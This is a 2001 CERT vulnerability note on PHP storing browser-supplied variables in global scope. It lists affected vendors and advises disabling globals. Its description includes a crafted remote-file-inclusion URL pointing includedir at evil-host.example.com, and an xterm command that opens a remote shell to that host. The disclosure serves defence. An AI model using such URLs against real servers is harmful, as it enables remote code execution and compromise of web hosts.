Vulnerability Note VU#847803

Php variables passed from the browser are stored in global context

Overview

Php is a dynamic scripting language used by programmers to develop webservers, message boards, chat applications and a variety of programs. By default php stores variables passed from the URL in a global context. Programmers often fail to change this setting which can allow serious vulnerabilities to surface. Often intruders can exploit the vulnerabilities created by this failure to gain administrative rights to the application or server, manipulate data, and execute arbitrary php code.

I. Description

Some applications written in php fail to follow proper programming practices. Global variables are used to store sensitive data, and can subsequently be altered by an intruder to gain access to the system. Often programmers use global variables to store account names, passwords and permission settings. An intruder can easily use crafted URLs to change the values in these global variables and compromise the system as demonstrated by VU#314347. Another example that can lead to a more severe impact is the manipulation of php variables related to source code locations. Assume that there is a file not directly accessed by the browser, but is included by the server from somewhere else called includefile.php. It may be included by the file function.php that contains the line

include("$includedir/includefile.php");

If the global variable $includedir is not set in each document that contains the include statement to be executed, then we can overwrite $includedir with a crafted URL like

http://vulnerable.example.com/function.php?includedir=http://evil-host.example.com/code

When the script is executed on vulnerable.example.com the php interpreter will fetch the file http://evil-host.example.com/code/includefile.php and execute it. This file can contain php code that downloads binaries, executes code, or starts a shell (e.g. "xterm -display evil-host.example.com:1")...). This source will be executed with the same privileges as the running webserver..

II. Impact

Intruders can exploit these vulnerabilities to gain administrative rights to the application or server, manipulate data, and execute arbitrary php code.

III. Solution

Disable global variables from the URL/client. Best programming practices are to not use global variables if at all possible. Do not permit the execution of code that does not originate from the webserver. If you need to use global variables, set variables_order = "egcps" in php.ini and set the value of every global variable in every file that the global variable is used.

Systems Affected

Vendor	Status	Date Notified
Grant Horwood	Vulnerable	15-Oct-2001
John Lim	Vulnerable	16-Oct-2001
Marc Logemann	Vulnerable	17-Oct-2001
Miro Construct Pty. Ltd.	Vulnerable	16-Oct-2001
Zorbat	Vulnerable	22-Oct-2001

References

Credit

Our thanks to atil <bugtraq@jakob.weite-welt.com> and genetics <veenstra@chello.nl> for the information contained in their posting to BugTraq.

This document was written by Jason Rafail.

Other Information

Date Public:	2001-07-25
Date First Published:	2001-10-18
Date Last Updated:	2001-10-22
CERT Advisory:
CVE-ID(s):
NVD-ID(s):
US-CERT Technical Alerts:
Metric:	17.53
Document Revision:	32

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